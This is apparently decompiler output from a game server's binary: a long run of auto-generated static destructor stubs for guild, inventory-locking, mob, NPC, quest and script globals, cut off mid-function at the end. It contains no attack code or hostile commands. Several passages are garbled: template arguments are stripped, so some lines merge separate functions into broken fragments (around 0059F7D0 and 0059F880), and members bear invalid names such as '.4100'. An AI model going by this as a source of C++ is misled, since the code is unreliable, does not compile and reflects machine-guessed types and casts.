(0059F2F0) -------------------------------------------------------- void __cdecl _E8_12() { _eh_vector_destructor_iterator_( &guildtournamentinfo, 0x24u, 32, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } //----- (0059F310) -------------------------------------------------------- void __cdecl _E4_63() { std::map_std::allocator>>::_map_std::allocator>>(&GuildTournamentSystem::sm_mapGuildMemberGrades); } //----- (0059F340) -------------------------------------------------------- void __cdecl _E11_11() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&powed); } //----- (0059F380) -------------------------------------------------------- void __cdecl _E8_15() { InventoryLocking::InventoryCellLockList::icll_Releaser_None = &InventoryLocking::InvenCellReleaser::_vftable_; } // 5B3524: using guessed type int (__stdcall *InventoryLocking__InvenCellReleaser___vftable_)(int, int lc, char inchest); // 609B68: using guessed type int (__stdcall **InventoryLocking__InventoryCellLockList__icll_Releaser_None)(int, int lc, char inchest); //----- (0059F390) -------------------------------------------------------- void __cdecl _E11_12() { InventoryLocking::InvenCellReleaser_ItemUse::_InvenCellReleaser_ItemUse((InventoryLocking::InvenCellReleaser_LinkInfo *)&InventoryLocking::InventoryCellLockList::icll_Releaser_CenChange); } //----- (0059F3A0) -------------------------------------------------------- void __cdecl _E14_3() { InventoryLocking::InvenCellReleaser_ItemUse::_InvenCellReleaser_ItemUse((InventoryLocking::InvenCellReleaser_LinkInfo *)&InventoryLocking::InventoryCellLockList::icll_Releaser_FameChange); } //----- (0059F3B0) -------------------------------------------------------- void __cdecl _E17_7() { InventoryLocking::InvenCellReleaser_ItemUse::_InvenCellReleaser_ItemUse((InventoryLocking::InvenCellReleaser_LinkInfo *)&InventoryLocking::InventoryCellLockList::icll_Releaser_CellClear); } //----- (0059F3C0) -------------------------------------------------------- void __cdecl _E20_2() { InventoryLocking::InvenCellReleaser_ItemUse::_InvenCellReleaser_ItemUse((InventoryLocking::InvenCellReleaser_LinkInfo *)&InventoryLocking::InventoryCellLockList::icll_Releaser_CellChange); } //----- (0059F3D0) -------------------------------------------------------- void __cdecl _E23_3() { InventoryLocking::InvenCellReleaser_ItemUse::_InvenCellReleaser_ItemUse((InventoryLocking::InvenCellReleaser_LinkInfo *)&InventoryLocking::InventoryCellLockList::icll_Releaser_EquipLocation); } //----- (0059F3E0) -------------------------------------------------------- void __cdecl _E26_1() { InventoryLocking::InvenCellReleaser_ItemUse::_InvenCellReleaser_ItemUse((InventoryLocking::InvenCellReleaser_LinkInfo *)&InventoryLocking::InventoryCellLockList::icll_Releaser_ItemUse); } //----- (0059F3F0) -------------------------------------------------------- void __cdecl _E29_2() { InventoryLocking::InvenCellReleaser_ItemUse::_InvenCellReleaser_ItemUse((InventoryLocking::InvenCellReleaser_LinkInfo *)&InventoryLocking::InventoryCellLockList::icll_Releaser_PointStone); } //----- (0059F400) -------------------------------------------------------- void __cdecl _E32_1() { InventoryLocking::InvenCellReleaser_ItemUse::_InvenCellReleaser_ItemUse((InventoryLocking::InvenCellReleaser_LinkInfo *)&InventoryLocking::InventoryCellLockList::icll_Releaser_QuestReward); } //----- (0059F410) -------------------------------------------------------- void __cdecl _E35_0() { InventoryLocking::InvenCellReleaser_ItemUse::_InvenCellReleaser_ItemUse((InventoryLocking::InvenCellReleaser_LinkInfo *)&InventoryLocking::InventoryCellLockList::icll_Releaser_GuildStorageClear); } //----- (0059F420) -------------------------------------------------------- void __cdecl _E38_0() { InventoryLocking::InvenCellReleaser_ItemUse::_InvenCellReleaser_ItemUse((InventoryLocking::InvenCellReleaser_LinkInfo *)&InventoryLocking::InventoryCellLockList::icll_Releaser_CellChangeSmall); } //----- (0059F430) -------------------------------------------------------- void __cdecl _E41() { InventoryLocking::InvenCellReleaser_ItemUse::_InvenCellReleaser_ItemUse((InventoryLocking::InvenCellReleaser_LinkInfo *)&InventoryLocking::InventoryCellLockList::icll_Releaser_GuildStorageChange); } //----- (0059F440) -------------------------------------------------------- void __cdecl _E44_0() { InventoryLocking::InvenCellReleaser_ItemUse::_InvenCellReleaser_ItemUse((InventoryLocking::InvenCellReleaser_LinkInfo *)&InventoryLocking::InventoryCellLockList::icll_Releaser_GuildAcademyRewardStorageRelocClear); } //----- (0059F450) -------------------------------------------------------- void __cdecl _E47_0() { InventoryLocking::InvenCellReleaser_ItemUse::_InvenCellReleaser_ItemUse((InventoryLocking::InvenCellReleaser_LinkInfo *)&InventoryLocking::InventoryCellLockList::icll_Releaser_GuildAcademyRewardStorageWithdrawClear); } //----- (0059F460) -------------------------------------------------------- void __cdecl _E50() { InventoryLocking::InvenCellReleaser_ItemUse::_InvenCellReleaser_ItemUse((InventoryLocking::InvenCellReleaser_LinkInfo *)&InventoryLocking::InventoryCellLockList::icll_Releaser_GuildAcademyRewardStorageChange); } //----- (0059F470) -------------------------------------------------------- void __cdecl _E53_0() { InventoryLocking::InvenCellReleaser_ItemUse::_InvenCellReleaser_ItemUse((InventoryLocking::InvenCellReleaser_LinkInfo *)&InventoryLocking::InventoryCellLockList::icll_Releaser_GuildAcademyRewardStorageReloc); } //----- (0059F480) -------------------------------------------------------- void __cdecl _E56_0() { InventoryLocking::InvenCellReleaser_ItemUse::_InvenCellReleaser_ItemUse((InventoryLocking::InvenCellReleaser_LinkInfo *)&InventoryLocking::InventoryCellLockList::icll_Releaser_GuildAcademyRewardStorageInfoZoneRng); } //----- (0059F490) -------------------------------------------------------- void __cdecl _E59_0() { InventoryLocking::InvenCellReleaser_ItemUse::_InvenCellReleaser_ItemUse((InventoryLocking::InvenCellReleaser_LinkInfo *)&InventoryLocking::InventoryCellLockList::icll_Releaser_FurnitureReloc); } //----- (0059F4A0) -------------------------------------------------------- void __cdecl _E62_0() { InventoryLocking::InvenCellReleaser_ItemUse::_InvenCellReleaser_ItemUse((InventoryLocking::InvenCellReleaser_LinkInfo *)&InventoryLocking::InventoryCellLockList::icll_Releaser_FurnitureCellClear); } //----- (0059F4B0) -------------------------------------------------------- void __cdecl _E5_27() { List::_List(&itemlotanalyser); } //----- (0059F4C0) -------------------------------------------------------- void __cdecl _E65_0() { InventoryLocking::InvenCellReleaser_ItemUse::_InvenCellReleaser_ItemUse(&InventoryLocking::InventoryCellLockList::icll_Releaser_LinkInfo); } //----- (0059F500) -------------------------------------------------------- void __cdecl _E9_11() { void *v0; // esi@2 if ( (_DWORD)dropgroupcluster.dgc_GroupList ) { v0 = (char *)dropgroupcluster.dgc_GroupList - 4; _eh_vector_destructor_iterator_( dropgroupcluster.dgc_GroupList, 0x27F0u, *((_DWORD *)dropgroupcluster.dgc_GroupList - 1), (void (__thiscall *)(void *))ItemDropFromMob::DropItemListInGroup::_DropItemListInGroup); operator delete__(v0); } } //----- (0059F530) -------------------------------------------------------- void __cdecl _E12_5() { ItemDropFromMob::DropIndexCluster::_DropIndexCluster(&dropindexcluster); } //----- (0059F540) -------------------------------------------------------- void __cdecl _E2_11() { ItemGroupClassifier::_ItemGroupClassifier(&itemgroupclassifier); } //----- (0059F580) -------------------------------------------------------- void __cdecl _E2_12() { ItemRandomOption::RandomOptionTable::_RandomOptionTable(&itemrandomoptiontable); } //----- (0059F5F0) -------------------------------------------------------- void __cdecl _E24_3() { KingdomQuestGate::_KingdomQuestGate(&kqgate); } //----- (0059F600) -------------------------------------------------------- void __cdecl _E10_19() { KingdomQuest::KingdomQuestContainer::_KingdomQuestContainer(&kqcontainer); } //----- (0059F610) -------------------------------------------------------- void __cdecl _E5_29() { KQContribute::KQContributeList::_KQContributeList((KQContribute::KQContributeList *)&g_KQContributeList); } //----- (0059F620) -------------------------------------------------------- void __cdecl _E2_13() { BinaryDataBox::_BinaryDataBox((MobResistTable *)&kqreward); } //----- (0059F660) -------------------------------------------------------- void __cdecl _E5_31() { ShineCommonParameter::_ShineCommonParameter((ShineScript *)&magiccontainer); } //----- (0059F690) -------------------------------------------------------- void __cdecl _E2_15() { CFindWay::_CFindWay(&findway); } //----- (0059F6A0) -------------------------------------------------------- void __cdecl _E5_32() { MapBlock::MapBlockInformationBox::_MapBlockInformationBox(&blockinfobox); } //----- (0059F6C0) -------------------------------------------------------- void __cdecl _E8_19() { BinaryDataBox::_BinaryDataBox((MobResistTable *)&townportaldata); } //----- (0059F6D0) -------------------------------------------------------- void __cdecl _E4_67() { MapClusterManager::ClusterManager::_ClusterManager(&mapclustermanager); } //----- (0059F6E0) -------------------------------------------------------- void __cdecl _E4_68() { PassiveDataBox::_PassiveDataBox((AbnormalStateDictionary::SubAbState *)&minihouseenduredatabox); } //----- (0059F6F0) -------------------------------------------------------- void __cdecl _E4_69() { PassiveDataBox::_PassiveDataBox((AbnormalStateDictionary::SubAbState *)&minihouseobjanidatabox); } //----- (0059F710) -------------------------------------------------------- void __cdecl _E8_20() { mobexplosebase = &MobExplosionElement::MobExplosionBase::_vftable_; } // 5B73DC: using guessed type int (__stdcall *MobExplosionElement__MobExplosionBase___vftable_)(int mob); // 609BC0: using guessed type int (__stdcall **mobexplosebase)(int mob); //----- (0059F720) -------------------------------------------------------- void __cdecl _E11_15() { MobExplosionElement::MobExplosionAlways::_MobExplosionAlways((MobExplosionElement::MobExplosionAlways *)&mobexploseenemy); } //----- (0059F730) -------------------------------------------------------- void __cdecl _E14_4() { MobExplosionElement::MobExplosionAlways::_MobExplosionAlways((MobExplosionElement::MobExplosionAlways *)&mobexplosetarget); } //----- (0059F740) -------------------------------------------------------- void __cdecl _E17_9() { MobExplosionElement::MobExplosionAlways::_MobExplosionAlways(&mobexplosealways); } //----- (0059F750) -------------------------------------------------------- void __cdecl _E5_34() { MobAttackSequence::_MobAttackSequence(&mobattseq); } //----- (0059F760) -------------------------------------------------------- void __cdecl _E5_35() { MobTargetEraser::_MobTargetEraser(&mobtargeteraser); } //----- (0059F770) -------------------------------------------------------- void __cdecl _E5_36() { MobChat::MobChatManager::_MobChatManager(&mobchatman); } //----- (0059F790) -------------------------------------------------------- void __cdecl _E8_21() { MobActionElement::_MobActionElement(&ShineObjectClass::ShineMob::defaction); } //----- (0059F7B0) -------------------------------------------------------- void __cdecl _E11_16() { KQRegenTable::_KQRegenTable(&kqregentable); } //----- (0059F7C0) -------------------------------------------------------- void __cdecl _E17_10() { KQContribute::KQContributeList::_KQContributeList((KQContribute::KQContributeList *)&g_FamilyMobManager); } //----- (0059F7D0) -------------------------------------------------------- void __cdecl _E7_40() { std::vector>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator::_StaticVector(&pathbuffer); } //----- (0059F880) -------------------------------------------------------- void __cdecl _E2_16() { std::vector>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator::_BinaryDataBox((MobResistTable *)&merchantcity); } //----- (0059F960) -------------------------------------------------------- void __cdecl _E8_23() { NPCManager::_NPCManager(&npcmanager); } //----- (0059F970) -------------------------------------------------------- void __cdecl _E7_42() { OPToolSession::_OPToolSession((OPToolSession *)&optoolsock); } //----- (0059F980) -------------------------------------------------------- void __cdecl _E4_71() { OPToolList::_OPToolList((OPToolList *)&optoollist); } //----- (0059F9C0) -------------------------------------------------------- void __cdecl _E2_18() { ShineCommonParameter::_ShineCommonParameter((ShineScript *)&shineparam); } //----- (0059F9D0) -------------------------------------------------------- void __cdecl _E5_42() { CParty::_CParty(&partycontainer); } //----- (0059FA10) -------------------------------------------------------- void __cdecl _E8_26() { Tracer::_Tracer(&linestep); } //----- (0059FA20) -------------------------------------------------------- void __cdecl _E14_8() { PathFindTable::_PathFindTable(&pathfindtable); } //----- (0059FA30) -------------------------------------------------------- void __cdecl _E5_43() { List::_List((ItemLotAnalyser::LotAnalyser *)&junctionpointlist); } //----- (0059FA40) -------------------------------------------------------- void __cdecl _E11_21() { CellStack::_CellStack(&cellstack); } //----- (0059FA60) -------------------------------------------------------- void __cdecl _E4_73() { void **v0; // esi@1 gdsprotofunc.vfptr = (PROTOCOLFUNCTIONTEMPLETEVtbl *)&PROTOCOLFUNCTIONTEMPLETE::_vftable_; v0 = (void **)gdsprotofunc.pft_funcpnt; do { if ( *v0 != gdsprotofunc.4100 ) operator delete__(*v0); ++v0; } while ( (signed int)v0 < (signed int)gdsprotofunc.4100 ); } // 5BD6A8: using guessed type int (__thiscall *PROTOCOLFUNCTIONTEMPLETE_void ___thiscall GameDBSession_____NETCOMMAND __int_____vftable_)(void *p, char); //----- (0059FA90) -------------------------------------------------------- void __cdecl _E4_74() { void **v0; // esi@1 shineprotofunc.vfptr = (PROTOCOLFUNCTIONTEMPLETEVtbl *)PROTOCOLFUNCTIONTEMPLETE::_vftable_; v0 = (void **)shineprotofunc.pft_funcpnt; do { if ( *v0 != shineprotofunc.4100 ) operator delete__(*v0); ++v0; } while ( (signed int)v0 < (signed int)shineprotofunc.4100 ); } // 5BD718: using guessed type int (__thiscall *PROTOCOLFUNCTIONTEMPLETE_void ___thiscall ShineObjectClass__ShinePlayer_____NETCOMMAND __int_unsigned short_____vftable_[5])(void *p, char); //----- (0059FAC0) -------------------------------------------------------- void __cdecl _E4_75() { void **v0; // esi@1 glsprotofunc.vfptr = (PROTOCOLFUNCTIONTEMPLETEVtbl *)PROTOCOLFUNCTIONTEMPLETE::_vftable_; v0 = (void **)glsprotofunc.pft_funcpnt; do { if ( *v0 != glsprotofunc.4100 ) operator delete__(*v0); ++v0; } while ( (signed int)v0 < (signed int)glsprotofunc.4100 ); } // 5BD71C: using guessed type int (__thiscall *PROTOCOLFUNCTIONTEMPLETE_void ___thiscall GameLogSession_____NETCOMMAND __int_____vftable_[4])(void *p, char); //----- (0059FAF0) -------------------------------------------------------- void __cdecl _E4_76() { void **v0; // esi@1 optsprotofunc.vfptr = (PROTOCOLFUNCTIONTEMPLETEVtbl *)PROTOCOLFUNCTIONTEMPLETE::_vftable_; v0 = (void **)optsprotofunc.pft_funcpnt; do { if ( *v0 != optsprotofunc.this ) operator delete__(*v0); ++v0; } while ( (signed int)v0 < (signed int)optsprotofunc.this ); } // 5BD720: using guessed type int (__thiscall *PROTOCOLFUNCTIONTEMPLETE_void ___thiscall OPToolSession_____NETCOMMAND ______vftable_[3])(void *p, char); //----- (0059FB20) -------------------------------------------------------- void __cdecl _E4_77() { void **v0; // esi@1 wldmanprotofunc.vfptr = (PROTOCOLFUNCTIONTEMPLETEVtbl *)PROTOCOLFUNCTIONTEMPLETE::_vftable_; v0 = (void **)wldmanprotofunc.pft_funcpnt; do { if ( *v0 != wldmanprotofunc.4100 ) operator delete__(*v0); ++v0; } while ( (signed int)v0 < (signed int)wldmanprotofunc.4100 ); } // 5BD724: using guessed type int (__thiscall *PROTOCOLFUNCTIONTEMPLETE_void ___thiscall WorldManagerSession_____NETCOMMAND __int_____vftable_[2])(void *p, char); //----- (0059FB50) -------------------------------------------------------- void __cdecl _E4_78() { void **v0; // esi@1 zlsprotofunc.vfptr = (PROTOCOLFUNCTIONTEMPLETEVtbl *)&PROTOCOLFUNCTIONTEMPLETE::_vftable_; v0 = (void **)zlsprotofunc.pft_funcpnt; do { if ( *v0 != zlsprotofunc.this ) operator delete__(*v0); ++v0; } while ( (signed int)v0 < (signed int)zlsprotofunc.this ); } // 5BD728: using guessed type int (__thiscall *PROTOCOLFUNCTIONTEMPLETE_void ___thiscall ZoneListenSession_____NETCOMMAND ______vftable_)(void *p, char); //----- (0059FBC0) -------------------------------------------------------- void __cdecl _E16_14() { PineEventScriptNode::SysFuncShineMobRegen::_SysFuncShineMobRegen((PineEventScriptNode::SysFuncShineGetLoseGuild *)&sysfuncrand); } //----- (0059FBD0) -------------------------------------------------------- void __cdecl _E19_13() { PineEventScriptNode::SysFuncShineMobRegen::_SysFuncShineMobRegen((PineEventScriptNode::SysFuncShineGetLoseGuild *)&sysfuncsqrt); } //----- (0059FBE0) -------------------------------------------------------- void __cdecl _E22_9() { PineEventScriptNode::SysFuncShineMobRegen::_SysFuncShineMobRegen((PineEventScriptNode::SysFuncShineGetLoseGuild *)&sysfuncdistance); } //----- (0059FBF0) -------------------------------------------------------- void __cdecl _E25_9() { PineEventScriptNode::SysFuncShineMobRegen::_SysFuncShineMobRegen((PineEventScriptNode::SysFuncShineGetLoseGuild *)&sysfuncshinemobregen); } //----- (0059FC00) -------------------------------------------------------- void __cdecl _E28_7() { PineEventScriptNode::SysFuncShineMobRegen::_SysFuncShineMobRegen((PineEventScriptNode::SysFuncShineGetLoseGuild *)&sysfuncshinedoorbuild); } //----- (0059FC10) -------------------------------------------------------- void __cdecl _E31_8() { PineEventScriptNode::SysFuncShineMobRegen::_SysFuncShineMobRegen((PineEventScriptNode::SysFuncShineGetLoseGuild *)&sysfuncshinenpcstand); } //----- (0059FC20) -------------------------------------------------------- void __cdecl _E34_6() { PineEventScriptNode::SysFuncShineMobRegen::_SysFuncShineMobRegen((PineEventScriptNode::SysFuncShineGetLoseGuild *)&sysfuncshinechange2mob); } //----- (0059FC30) -------------------------------------------------------- void __cdecl _E37_5() { PineEventScriptNode::SysFuncShineMobRegen::_SysFuncShineMobRegen((PineEventScriptNode::SysFuncShineGetLoseGuild *)&sysfuncshinechange2door); } //----- (0059FC40) -------------------------------------------------------- void __cdecl _E40_5() { PineEventScriptNode::SysFuncShineMobRegen::_SysFuncShineMobRegen((PineEventScriptNode::SysFuncShineGetLoseGuild *)&sysfuncshinechange2npc); } //----- (0059FC50) -------------------------------------------------------- void __cdecl _E43_5() { PineEventScriptNode::SysFuncShineMobRegen::_SysFuncShineMobRegen((PineEventScriptNode::SysFuncShineGetLoseGuild *)&sysfuncshinecount); } //----- (0059FC60) -------------------------------------------------------- void __cdecl _E46_6() { PineEventScriptNode::SysFuncShineMobRegen::_SysFuncShineMobRegen((PineEventScriptNode::SysFuncShineGetLoseGuild *)&sysfuncshinerestsec); } //----- (0059FC70) -------------------------------------------------------- void __cdecl _E49_6() { PineEventScriptNode::SysFuncShineMobRegen::_SysFuncShineMobRegen((PineEventScriptNode::SysFuncShineGetLoseGuild *)&sysfuncshinecharclass); } //----- (0059FC80) -------------------------------------------------------- void __cdecl _E52_2() { PineEventScriptNode::SysFuncShineMobRegen::_SysFuncShineMobRegen((PineEventScriptNode::SysFuncShineGetLoseGuild *)&sysfuncshinecharname); } //----- (0059FC90) -------------------------------------------------------- void __cdecl _E55_2() { PineEventScriptNode::SysFuncShineMobRegen::_SysFuncShineMobRegen((PineEventScriptNode::SysFuncShineGetLoseGuild *)&sysfuncshinedeadnum); } //----- (0059FCA0) -------------------------------------------------------- void __cdecl _E58_2() { PineEventScriptNode::SysFuncShineMobRegen::_SysFuncShineMobRegen((PineEventScriptNode::SysFuncShineGetLoseGuild *)&sysfuncshinecircularlocate); } //----- (0059FCB0) -------------------------------------------------------- void __cdecl _E61_2() { PineEventScriptNode::SysFuncShineMobRegen::_SysFuncShineMobRegen((PineEventScriptNode::SysFuncShineGetLoseGuild *)&sysfuncshineremovefisrt); } //----- (0059FCC0) -------------------------------------------------------- void __cdecl _E64_2() { PineEventScriptNode::SysFuncShineMobRegen::_SysFuncShineMobRegen((PineEventScriptNode::SysFuncShineGetLoseGuild *)&sysfuncshinegetobjectlist); } //----- (0059FCD0) -------------------------------------------------------- void __cdecl _E67_1() { PineEventScriptNode::SysFuncShineMobRegen::_SysFuncShineMobRegen((PineEventScriptNode::SysFuncShineGetLoseGuild *)&sysfuncshinekqresultlist); } //----- (0059FCE0) -------------------------------------------------------- void __cdecl _E70_2() { PineEventScriptNode::SysFuncShineMobRegen::_SysFuncShineMobRegen((PineEventScriptNode::SysFuncShineGetLoseGuild *)&sysfuncshinekqtoplist); } //----- (0059FCF0) -------------------------------------------------------- void __cdecl _E73_1() { PineEventScriptNode::SysFuncShineMobRegen::_SysFuncShineMobRegen((PineEventScriptNode::SysFuncShineGetLoseGuild *)&sysfuncshinedistance); } //----- (0059FD00) -------------------------------------------------------- void __cdecl _E76_2() { PineEventScriptNode::SysFuncShineMobRegen::_SysFuncShineMobRegen((PineEventScriptNode::SysFuncShineGetLoseGuild *)&sysfuncshineplayerinarea); } //----- (0059FD10) -------------------------------------------------------- void __cdecl _E79_1() { PineEventScriptNode::SysFuncShineMobRegen::_SysFuncShineMobRegen((PineEventScriptNode::SysFuncShineGetLoseGuild *)&sysfuncshinerange); } //----- (0059FD20) -------------------------------------------------------- void __cdecl _E82_1() { PineEventScriptNode::SysFuncShineMobRegen::_SysFuncShineMobRegen((PineEventScriptNode::SysFuncShineGetLoseGuild *)&sysfuncshineisgateuse); } //----- (0059FD30) -------------------------------------------------------- void __cdecl _E85_1() { PineEventScriptNode::SysFuncShineMobRegen::_SysFuncShineMobRegen((PineEventScriptNode::SysFuncShineGetLoseGuild *)&sysfuncshinegetwinnerguild); } //----- (0059FD40) -------------------------------------------------------- void __cdecl _E88_1() { PineEventScriptNode::SysFuncShineMobRegen::_SysFuncShineMobRegen(&sysfuncshinegetloseGuild); } //----- (0059FD50) -------------------------------------------------------- void __cdecl _E4_79() { PineEventScriptNode::StatementList::_StatementList(&ps_statementlist); } //----- (0059FD80) -------------------------------------------------------- void __cdecl _E2_21() { PineScriptMobRegenerator::_PineScriptMobRegenerator(&scriptmobregen); } //----- (0059FDA0) -------------------------------------------------------- void __cdecl _E8_28() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_all); } //----- (0059FDB0) -------------------------------------------------------- void __cdecl _E11_22() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_me); } //----- (0059FDC0) -------------------------------------------------------- void __cdecl _E14_9() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_ply); } //----- (0059FDD0) -------------------------------------------------------- void __cdecl _E17_13() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_hour); } //----- (0059FDE0) -------------------------------------------------------- void __cdecl _E20_4() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_minute); } //----- (0059FDF0) -------------------------------------------------------- void __cdecl _E23_5() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_sec); } //----- (0059FE00) -------------------------------------------------------- void __cdecl _E26_3() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_millisec); } //----- (0059FE10) -------------------------------------------------------- void __cdecl _E29_4() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_kq); } //----- (0059FE20) -------------------------------------------------------- void __cdecl _E32_2() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_suc); } //----- (0059FE30) -------------------------------------------------------- void __cdecl _E35_1() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_fail); } //----- (0059FE40) -------------------------------------------------------- void __cdecl _E38_1() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_areaentry); } //----- (0059FE50) -------------------------------------------------------- void __cdecl _E41_0() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_arealeave); } //----- (0059FE60) -------------------------------------------------------- void __cdecl _E44_1() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_npcclickhandle); } //----- (0059FE70) -------------------------------------------------------- void __cdecl _E47_1() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_npcclickindex); } //----- (0059FE80) -------------------------------------------------------- void __cdecl _E50_0() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_npcclickany); } //----- (0059FE90) -------------------------------------------------------- void __cdecl _E53_1() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_hplow); } //----- (0059FEA0) -------------------------------------------------------- void __cdecl _E56_1() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_mobeliminate); } //----- (0059FEB0) -------------------------------------------------------- void __cdecl _E59_1() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_playereliminate); } //----- (0059FEC0) -------------------------------------------------------- void __cdecl _E62_1() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_guildliminate); } //----- (0059FED0) -------------------------------------------------------- void __cdecl _E65_1() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_timeout); } //----- (0059FEE0) -------------------------------------------------------- void __cdecl _E68_0() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_deadhandle); } //----- (0059FEF0) -------------------------------------------------------- void __cdecl _E71() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_deadindex); } //----- (0059FF00) -------------------------------------------------------- void __cdecl _E74_0() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_killenemy); } //----- (0059FF10) -------------------------------------------------------- void __cdecl _E77() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_targetchange); } //----- (0059FF20) -------------------------------------------------------- void __cdecl _E80_0() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_playerdead); } //----- (0059FF30) -------------------------------------------------------- void __cdecl _E83() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_admin); } //----- (0059FF40) -------------------------------------------------------- void __cdecl _E86() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_on); } //----- (0059FF50) -------------------------------------------------------- void __cdecl _E89() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_off); } //----- (0059FF60) -------------------------------------------------------- void __cdecl _E92() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_logout); } //----- (0059FF70) -------------------------------------------------------- void __cdecl _E95() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_anywhere); } //----- (0059FF80) -------------------------------------------------------- void __cdecl _E98_0() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_handle); } //----- (0059FF90) -------------------------------------------------------- void __cdecl _E101_0() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_guild); } //----- (0059FFA0) -------------------------------------------------------- void __cdecl _E104() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_recover); } //----- (0059FFB0) -------------------------------------------------------- void __cdecl _E107() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_noaggro); } //----- (0059FFC0) -------------------------------------------------------- void __cdecl _E110() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_pk); } //----- (0059FFD0) -------------------------------------------------------- void __cdecl _E113() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_hit); } //----- (0059FFE0) -------------------------------------------------------- void __cdecl _E116() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_observer); } //----- (0059FFF0) -------------------------------------------------------- void __cdecl _E119() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_GuildTournamentStart); } //----- (005A0000) -------------------------------------------------------- void __cdecl _E122() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_Result); } //----- (005A0010) -------------------------------------------------------- void __cdecl _E125() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_hpfull); } //----- (005A0020) -------------------------------------------------------- void __cdecl _E128() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_beggar); } //----- (005A0030) -------------------------------------------------------- void __cdecl _E131() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_allwithout); } //----- (005A0040) -------------------------------------------------------- void __cdecl _E134() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_CostumeHeadAcc); } //----- (005A0050) -------------------------------------------------------- void __cdecl _E137() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_CostumeBodyAcc); } //----- (005A0060) -------------------------------------------------------- void __cdecl _E140() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_split); } //----- (005A0070) -------------------------------------------------------- void __cdecl _E143() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_pickupitemindex); } //----- (005A0080) -------------------------------------------------------- void __cdecl _E146() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_dicegameend); } //----- (005A0090) -------------------------------------------------------- void __cdecl _E149() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_mobindex); } //----- (005A00A0) -------------------------------------------------------- void __cdecl _E152() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index_hpupper); } //----- (005A00D0) -------------------------------------------------------- void __cdecl _E2_22() { ShineCommonParameter::_ShineCommonParameter((ShineScript *)&recallpoint); } //----- (005A0100) -------------------------------------------------------- void __cdecl _E8_29() { EngSklAtt::_EngSklAtt(&engsklatt); } //----- (005A0110) -------------------------------------------------------- void __cdecl _E11_23() { 